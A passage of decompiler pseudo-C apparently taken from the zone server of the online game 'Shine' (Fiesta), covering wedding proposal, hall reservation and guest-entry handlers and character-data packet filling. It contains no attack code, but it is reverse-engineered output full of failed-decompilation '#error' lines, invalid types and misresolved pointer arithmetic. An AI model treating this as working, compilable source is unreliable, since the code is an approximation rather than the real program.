ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v3 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v3); } else { AssertClass::ac_AssertFail(&shineassert, "Checker::DelayLimit : Packet Too Long", 10); } v4 = (signed int)gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 18469; *(_DWORD *)(v4 + 4) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_WORD *)(v4 + 2) = *((_WORD *)v2 + 2); *(_WORD *)(v4 + 8) = word_1248F0B8 + 30000; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v5 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v5); } else { AssertClass::ac_AssertFail(&shineassert, "Checker::DelayLimit : Packet Too Long", 10); } LOWORD(v4) = *((_WORD *)v2 + 2); v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1128))(v2); if ( !ShineObjectClass::ShinePlayer::sp_DestroyItem(v2, v4, unk_12510DEA, v6 + 3368, 9) ) { LOWORD(v4) = *((_WORD *)v2 + 2); v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1128))(v2); ShineObjectClass::ShinePlayer::sp_DestroyItem(v2, v4, unk_12510DEA, v7, 8); } (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v2 + 1544))(v2, 293); (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v2 + 1544))(v2, 294); (*(void (__thiscall **)(_DWORD, signed int))(*(_DWORD *)v2 + 1544))(v2, 295); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 1300))(v2); if ( (*(_BYTE *)((*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2300))(v2) + 8) & 0xF0) == 32 ) (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v2 + 776))(v2, 8, 93, 5001); PROTO_NC_CHAR_WEDDINGDATA_ACK::PROTO_NC_CHAR_WEDDINGDATA_ACK((PROTO_NC_CHAR_WEDDINGDATA_ACK *)&Update); v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2300))(v2); PROTO_NC_CHAR_WEDDINGDATA_ACK::operator_((int)&Update, v8); v11 &= 0xFu; (*(void (__thiscall **)(void *, char *))(*(_DWORD *)v2 + 2304))(v2, &Update); return (*(int (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v2 + 776))(v2, 8, 93, 4998); } // 1248F0B8: using guessed type __int16 word_1248F0B8; //----- (0052B880) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_PROPOSEREQ_REQ(void *this, int netcmd, int len, __int16 handle) { int v4; // esi@1 int v5; // eax@1 int v6; // ebp@1 unsigned __int16 v7; // ax@3 char *v8; // edi@8 int v9; // eax@10 char *v10; // [sp-4h] [bp-24h]@2 v4 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_PROPOSEREQ_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_PROPOSEREQ_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2300))(v4); v6 = (int)ShineObjectManager::som_FindPlayer(&shineobjmanager, *(_DWORD *)(v5 + 33)); if ( v6 ) { v7 = Checker::WhenPropose(); if ( v7 || (v7 = Checker::WhenBeProposed()) != 0 ) { ProposeResult((#331 *)v4, *(_WORD *)(v4 + 4), v7); v10 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_PROPOSEREQ_REQ"; } else { if ( (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v4, v6) <= 0x2710 ) { v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8272; *((_WORD *)v8 + 1) = *(_WORD *)(v4 + 4); strncpy(v8 + 4, (const char *)(netcmd + 4), 0x24u); v8[40] = 0; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 41) ) { v9 = (*(int (__thiscall **)(int))(*(_DWORD *)v6 + 764))(v6); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v9 + 12))(v9, v6, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_PROPOSEREQ_REQ : Packet Too Long", 41); } v10 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_PROPOSEREQ_REQ"; } else { ProposeResult((#331 *)v4, *(_WORD *)(v4 + 4), 0x12C3u); v10 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_PROPOSEREQ_REQ"; } } } else { ProposeResult((#331 *)v4, *(_WORD *)(v4 + 4), 0x12C8u); v10 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_PROPOSEREQ_REQ"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v10); } //----- (0052BA10) -------------------------------------------------------- #error "52BA10: undefined or illegal type '#331' (funcsize=208)" //----- (0052BCC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_READY_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // eax@1 PROTO_NC_ACT_WEDDING_HALL_GUEST_ENTER_READY_ACK *v6; // edi@1 int v7; // eax@6 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_READY_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_READY_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8279; v6 = (PROTO_NC_ACT_WEDDING_HALL_GUEST_ENTER_READY_ACK *)(v5 + 2); if ( !(_S7_3 & 1) ) { _S7_3 |= 1u; stru_1248FE4C.cmc_AllowMode = 6; atexit(_E8_35); } if ( (1 << **((_BYTE **)v4 + 929)) & stru_1248FE4C.cmc_AllowMode ) { WeddingHall::wh_GuestCanEnter(&weddinghall, v6); if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 60) ) goto LABEL_5; v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); LABEL_9: (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v4, &gpp); goto LABEL_10; } v6->err = 4929; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 60) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); goto LABEL_9; } LABEL_5: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_READY_REQ : Packet Too Long", 60); LABEL_10: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_READY_REQ"); } //----- (0052BE20) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // edi@1 int v6; // edx@1 int v7; // eax@11 int v8; // edx@12 ITEM_INVEN Inv; // [sp+Ch] [bp-80h]@3 FunctionEntarance _; // [sp+10h] [bp-7Ch]@1 NPCManager::LinkInformTemplete lnkinf; // [sp+14h] [bp-78h]@12 unsigned int v12; // [sp+7Ch] [bp-10h]@15 int v13; // [sp+88h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8281; v6 = *(_DWORD *)v4; v13 = 0; if ( unk_1248FE8C != (*(int (__thiscall **)(void *))(v6 + 836))(v4) && unk_1248FE78 != (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4) && !ShineObjectClass::ShinePlayer::sp_FindItemFromInventory(v4, word_12510DE6, (int)&Inv) ) { *((_WORD *)v5 + 1) = 4931; goto LABEL_9; } if ( !weddinghall.Reserved || ShineDateTime::operator>(&stru_1248FE68, &chargeditemcheck) || ShineDateTime::operator>(&chargeditemcheck, &Rhs) ) { *((_WORD *)v5 + 1) = 4930; LABEL_9: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_REQ : Packet Too Long", 4); } goto LABEL_15; } ShineObjectClass::ShinePlayer::sp_DestroyItem(v4, *((_WORD *)v4 + 2), word_12510DE6, 1, 0); strncpy(lnkinf.linktoserver, "Wedding", 0xCu); lnkinf.linktoserver[12] = 0; strncpy(lnkinf.linktoclient, "Wedding", 0xCu); v8 = *(_DWORD *)v4; lnkinf.linktoclient[12] = 0; lnkinf.coordx = 558; lnkinf.coordy = 154; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(v8 + 1136))(v4) == 4 ) (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 1140))(v4); (*(void (__thiscall **)(void *, NPCManager::LinkInformTemplete *, signed int))(*(_DWORD *)v4 + 1000))(v4, &lnkinf, 1); LABEL_15: --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_REQ"); __security_check_cookie(v12); } // 4D7720: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_DestroyItem(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); //----- (0052C8F0) -------------------------------------------------------- #error "52C8F0: undefined or illegal type '#592' (funcsize=13)" //----- (0052C920) -------------------------------------------------------- #error "52C920: undefined or illegal type '#331' (funcsize=163)" //----- (0052DD20) -------------------------------------------------------- #error "52DD20: undefined or illegal type '#331' (funcsize=283)" //----- (0052E110) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_WeddingData(void *this, int wed) { void *v2; // ebx@1 bool v3; // zf@1 int v4; // eax@3 int v5; // edx@3 int v6; // ecx@3 AbnormalStateDictionary::AbState::AbStateStr *v7; // edi@7 SubAbStateInfo *v8; // eax@7 char *v9; // eax@12 int v10; // eax@14 char *v11; // [sp-4h] [bp-38h]@2 unsigned __int8 validName[4]; // [sp+14h] [bp-20h]@3 int v13; // [sp+18h] [bp-1Ch]@3 int v14; // [sp+1Ch] [bp-18h]@3 int v15; // [sp+20h] [bp-14h]@3 unsigned int v16; // [sp+24h] [bp-10h]@16 int v17; // [sp+30h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WeddingData"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_WeddingData"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_WORD *)(wed + 6) == 0; v17 = 0; if ( v3 ) { PROTO_NC_CHAR_WEDDINGDATA_ACK::operator_((int)((char *)v2 + 23336), wed); v15 = 0; v14 = 0; v13 = 0; *(_DWORD *)validName = 0; StrUtil::ConvertToNormalName((char *)validName, (const char *)v2 + 23353); v4 = v14; v5 = v13; *(_DWORD *)((char *)v2 + 23353) = *(_DWORD *)validName; v6 = v15; *(_DWORD *)((char *)v2 + 23361) = v4; *(_DWORD *)((char *)v2 + 23357) = v5; *(_DWORD *)((char *)v2 + 23365) = v6; switch ( *((_BYTE *)v2 + 23344) & 0xF ) { case 1: Checker::ApplicationLimit(); break; case 2: v7 = AbnormalStateDictionary::AbState::as_FromIndex(&dic_abstate, STA_WEDDINGBUFF); (*(void (__thiscall **)(void *, void *, AbnormalStateInfo::ABSTATEINDEX, signed int, AbnormalStateDictionary::AbState::AbStateStr *, unsigned int, _DWORD, signed int, signed int, _DWORD))(*(_DWORD *)v2 + 1528))( v2, v2, v7->index->AbStataIndex, 1, v7, clockwatch.cw_CurrTick, 0, -1, 1000000000, 0); ShineObjectClass::ShineObject::so_AbnormalState_BitSet(v2, v7->index->AbStataIndex); v8 = v7->subabstate[1].assa_info; if ( v8 ) { (*(void (__thiscall **)(void *, AbnormalStateInfo::ABSTATEINDEX, unsigned int, signed int))(*(_DWORD *)v2 + 992))( v2, v7->index->AbStataIndex, v8->KeepTime, 1); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet( v2, v7->index->AbStataIndex, v7->subabstate[1].assa_info->KeepTime, 1); } Checker::DivorceLimit(); if ( (*((_BYTE *)v2 + 23344) & 0xF0) == 64 ) (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v2 + 776))(v2, 8, 93, 4996); break; case 3: Checker::DelayLimit(); break; } v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4225; memcpy(v9 + 2, (char *)v2 + 23336, 0x27u); *((_WORD *)v9 + 1) = *((_WORD *)v2 + 2); *((_DWORD *)v9 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 41) ) { v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_WeddingData : Packet Too Long", 41); } v17 = -1; v11 = "ShineObjectClass::ShinePlayer::so_ply_WeddingData"; } else { v17 = -1; v11 = "ShineObjectClass::ShinePlayer::so_ply_WeddingData"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v11); __security_check_cookie(v16); } //----- (0052E350) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_RESERV_REQ(void *this, int netcmd, int len, __int16 handle) { int v4; // esi@1 unsigned __int16 v5; // ax@1 int v6; // edi@3 unsigned __int16 v7; // ax@8 char v8; // al@12 char v9; // al@13 unsigned int v10; // ebx@14 unsigned int v11; // ebp@14 char *v12; // ebx@14 char v13; // al@14 ZoneBaseSession *v14; // eax@15 unsigned __int16 v15; // [sp-8h] [bp-30h]@9 char *v16; // [sp-4h] [bp-2Ch]@2 unsigned __int16 v17; // [sp-4h] [bp-2Ch]@9 FunctionEntarance _; // [sp+10h] [bp-18h]@1 __int64 ReservedTime; // [sp+14h] [bp-14h]@1 int v20; // [sp+24h] [bp-4h]@1 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_RESERV_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_RESERV_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_RESERV_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v20 = 0; ReservedTime = 0i64; v5 = Checker::WhenReserve(); if ( v5 ) { ProposeResult((#331 *)v4, *(_WORD *)(v4 + 4), v5); v16 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_RESERV_REQ"; LABEL_20: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v16); return; } v6 = (int)ShineObjectManager::som_FindPlayer(&shineobjmanager, *(_DWORD *)(v4 + 23369)); if ( !v6 || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v6 + 1212))(v6) != 2 || (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v4, v6) > 0x2710 ) { ReservResult((#331 *)v4, 0x1305u, 0i64); v16 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_RESERV_REQ"; goto LABEL_20; } if ( !ShineDateTime::operator>((ShineDateTime *)(v4 + 23349), &chargeditemcheck) ) { ReservResult((#331 *)v4, 0x1304u, 0i64); v20 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } v7 = Checker::WhenReservePartner(); if ( v7 ) { v17 = v7; v15 = *(_WORD *)(v4 + 4); LABEL_18: ProposeResult((#331 *)v4, v15, v17); v20 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } if ( !WeddingHall::wh_Reserv(&weddinghall, (#331 *)v4, (#331 *)v6, &ReservedTime) ) { ReservResult((#331 *)v4, 0x1306u, ReservedTime); v20 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } ShineObjectClass::ShinePlayer::sp_MakeItem((void *)v4, *(_WORD *)(v4 + 4), 10, word_12510DE6, 0xFu); if ( !v8 || (ShineObjectClass::ShinePlayer::sp_MakeItem((void *)v6, *(_WORD *)(v6 + 4), 10, word_12510DE6, 0xFu), !v9) ) { v17 = 4874; v15 = *(_WORD *)(v4 + 4); goto LABEL_18; } v10 = HIDWORD(ReservedTime); v11 = ReservedTime; ReservResult((#331 *)v4, 0x1300u, ReservedTime); ReservResult((#331 *)v6, 0x1300u, __PAIR__(v10, v11)); v12 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 1629; *(_DWORD *)(v12 + 2) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); *(_DWORD *)(v12 + 6) = (*(int (__thiscall **)(int))(*(_DWORD *)v6 + 836))(v6); v13 = ProtocolPacket::pp_SetPacketLen(&gpp, 10); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v13, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_RESERV_REQ : Packet Too Long", 10) ) { v14 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gamelog); ProtocolPacket::pp_SendPacket(&gpp, v14); } v20 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (0052E630) -------------------------------------------------------- #error "52E630: undefined or illegal type '#592' (funcsize=141)" //----- (0052E840) -------------------------------------------------------- #error "52E840: undefined or illegal type '#592' (funcsize=128)" //----- (0052EA60) -------------------------------------------------------- void __thiscall WeddingHall::wh_Routine(WeddingHall *this) { WeddingHall *v1; // esi@1 char v2; // bl@1 unsigned int v3; // ST04_4@4 char *v4; // edi@10 char *v5; // [sp-4h] [bp-24h]@9 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "WeddingHall::wh_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WeddingHall::wh_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; if ( !v1->Reserved ) goto LABEL_13; if ( v1->Started || ShineDateTime::operator>(&v1->EnteringStart, &chargeditemcheck) ) { if ( !ShineDateTime::operator>(&v1->WeddingEnd, &chargeditemcheck) ) { v1->Reserved = 0; v1->Started = 0; } goto LABEL_13; } v3 = v1->Groom.RegistNumber; v1->Started = 1; if ( WeddingHall::wh_RecallCouple(v1, v3) ) v2 = 1; if ( WeddingHall::wh_RecallCouple(v1, v1->Bride.RegistNumber) ) ++v2; if ( v2 != 2 ) { v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8277; v4[2] = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nZoneNo); *(_WORD *)(v4 + 3) = -1; *(_DWORD *)(v4 + 5) = -1; *(_DWORD *)(v4 + 9) = v1->Groom.RegistNumber; *(_DWORD *)(v4 + 13) = v1->Bride.RegistNumber; v4[17] = v2; ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 18); LABEL_13: v5 = "WeddingHall::wh_Routine"; goto LABEL_14; } WeddingHall::wh_Start(&weddinghall); v5 = "WeddingHall::wh_Routine"; LABEL_14: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v5); } //----- (0052ED20) -------------------------------------------------------- void __thiscall WorldManagerSession::WorldManagerSession(WorldManagerSession *this) { WorldManagerSession *v1; // esi@1 v1 = this; ZoneBaseSession::ZoneBaseSession(&this->baseclass_0); v1->baseclass_0.m_Connected_World = 0; v1->baseclass_0.m_Connected_Zone = 0; v1->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&WorldManagerSession::_vftable_; v1->baseclass_0.m_Connected_Server_ID = 5; } // 5D34D4: using guessed type int (__stdcall *WorldManagerSession___vftable_)(int interval); //----- (0052ED50) -------------------------------------------------------- void __thiscall WorldManagerSession::_WorldManagerSession(WorldManagerSession *this) { this->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&WorldManagerSession::_vftable_; ZoneBaseSession::_ZoneBaseSession(&this->baseclass_0); } // 5D34D4: using guessed type int (__stdcall *WorldManagerSession___vftable_)(int interval); //----- (0052ED60) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_DummyFunction(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { char buf[64]; // [sp+4h] [bp-50h]@1 unsigned int cookie; // [sp+44h] [bp-10h]@1 int v5; // [sp+50h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "WorldManagerSession::wms_DummyFunction"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_DummyFunction"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = 0; sprintf(buf, "%d/%d:%d"); AssertClass::ac_AssertFail(&shineassert, "WorldManagerSession::wms_DummyFunction", buf); --funcallanalizer.fca_stackpoint; v5 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WorldManagerSession::wms_DummyFunction"); __security_check_cookie(cookie); } //----- (0052EE40) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_fill_CHAR_PARAMETER_DATA(void *this, int param) { void *v2; // edi@1 unsigned __int8 v3; // al@1 unsigned __int8 v4; // al@1 unsigned __int16 v5; // bx@1 int v6; // eax@1 int v7; // eax@2 unsigned __int16 v8; // bx@4 int v9; // eax@4 int v10; // eax@5 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_fill_CHAR_PARAMETER_DATA"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_fill_CHAR_PARAMETER_DATA"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v2 + 52))(v2, 0); v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1220))(v2); *(_DWORD *)param = *(&shineparam.scp_param.AddBuffTime + 2 * v3); *(_DWORD *)(param + 4) = *(&shineparam.scp_param.MaxBuffTime + 2 * v3); v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1220))(v2); *(_DWORD *)(param + 8) = LODWORD(shineparam.scp_param.nextexp[v4]); *(_DWORD *)(param + 12) = HIDWORD(shineparam.scp_param.nextexp[v4]); *(_DWORD *)(param + 16) = *((_DWORD *)v2 + 1002); *(_DWORD *)(param + 20) = *((_DWORD *)v2 + 1737); *(_DWORD *)(param + 24) = *((_DWORD *)v2 + 1003); *(_DWORD *)(param + 28) = *((_DWORD *)v2 + 1738); *(_DWORD *)(param + 32) = *((_DWORD *)v2 + 1004); *(_DWORD *)(param + 36) = *((_DWORD *)v2 + 1739); *(_DWORD *)(param + 40) = *((_DWORD *)v2 + 1005); *(_DWORD *)(param + 44) = *((_DWORD *)v2 + 1740); *(_DWORD *)(param + 56) = *((_DWORD *)v2 + 1006); *(_DWORD *)(param + 60) = *((_DWORD *)v2 + 1741); *(_DWORD *)(param + 64) = *((_DWORD *)v2 + 1007); *(_DWORD *)(param + 68) = *((_DWORD *)v2 + 1742); *(_DWORD *)(param + 72) = *((_DWORD *)v2 + 1008); *(_DWORD *)(param + 76) = *((_DWORD *)v2 + 1743); *(_DWORD *)(param + 80) = *((_DWORD *)v2 + 1009); *(_DWORD *)(param + 84) = *((_DWORD *)v2 + 1744); *(_DWORD *)(param + 88) = *((_DWORD *)v2 + 1010); *(_DWORD *)(param + 92) = *((_DWORD *)v2 + 1745); *(_DWORD *)(param + 96) = *((_DWORD *)v2 + 1011); *(_DWORD *)(param + 100) = *((_DWORD *)v2 + 1746); *(_DWORD *)(param + 104) = *((_DWORD *)v2 + 1012); *(_DWORD *)(param + 108) = *((_DWORD *)v2 + 1747); *(_DWORD *)(param + 112) = *((_DWORD *)v2 + 1013); *(_DWORD *)(param + 116) = *((_DWORD *)v2 + 1748); *(_DWORD *)(param + 120) = *((_DWORD *)v2 + 1014); *(_DWORD *)(param + 124) = *((_DWORD *)v2 + 1749); *(_DWORD *)(param + 128) = *((_DWORD *)v2 + 1015); *(_DWORD *)(param + 132) = *((_DWORD *)v2 + 1750); *(_DWORD *)(param + 136) = *((_DWORD *)v2 + 1016); *(_DWORD *)(param + 140) = *((_DWORD *)v2 + 1751); *(_DWORD *)(param + 200) = 0; *(_DWORD *)(param + 196) = 0; *(_DWORD *)(param + 208) = 0; *(_DWORD *)(param + 204) = 0; *(_DWORD *)(param + 216) = 0; *(_DWORD *)(param + 212) = 0; *(_DWORD *)(param + 224) = 0; *(_DWORD *)(param + 220) = 0; *(_DWORD *)(param + 164) = 0; *(_DWORD *)(param + 168) = 0; *(_DWORD *)(param + 172) = 0; *(_DWORD *)(param + 176) = 0; *(_DWORD *)(param + 180) = 0; *(_DWORD *)(param + 184) = 0; *(_DWORD *)(param + 188) = 0; *(_DWORD *)(param + 192) = 0; *(_DWORD *)(param + 144) = ShineObjectClass::ShinePlayer::sp_MaxHP(v2); *(_DWORD *)(param + 148) = ShineObjectClass::ShinePlayer::sp_MaxSP(v2); *(_DWORD *)(param + 152) = 0; v5 = (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1220))(v2); v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1160))(v2); if ( v5 > 0x96u ) v7 = *(_DWORD *)(v6 + 67672); else v7 = *(_DWORD *)(v6 + 4 * v5 + 67672); *(_DWORD *)(param + 156) = (unsigned __int16)((unsigned int)(*(_DWORD *)(v7 + 32) * (unsigned int)*((_WORD *)v2 + 45845) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6); v8 = (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1220))(v2); v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1160))(v2); if ( v8 > 0x96u ) v10 = *(_DWORD *)(v9 + 67672); else v10 = *(_DWORD *)(v9 + 4 * v8 + 67672); *(_DWORD *)(param + 160) = (unsigned __int16)((unsigned int)(*(_DWORD *)(v10 + 44) * (unsigned int)*((_WORD *)v2 + 45846) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_fill_CHAR_PARAMETER_DATA"); return param; } //----- (0052F160) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_fill_PROTO_NC_CHAR_MAPLOGIN_ACK(void *this, int logsuc) { void *v2; // esi@1 int v3; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_fill_PROTO_NC_CHAR_MAPLOGIN_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_fill_PROTO_NC_CHAR_MAPLOGIN_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)logsuc = *((_WORD *)v2 + 2); v3 = *(_DWORD *)((char *)v2 + 78); *(_DWORD *)(logsuc + 230) = *(_DWORD *)v3; *(_DWORD *)(logsuc + 234) = *(_DWORD *)(v3 + 4); (*(void (__thiscall **)(void *, int))(*(_DWORD *)v2 + 1568))(v2, logsuc + 2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, 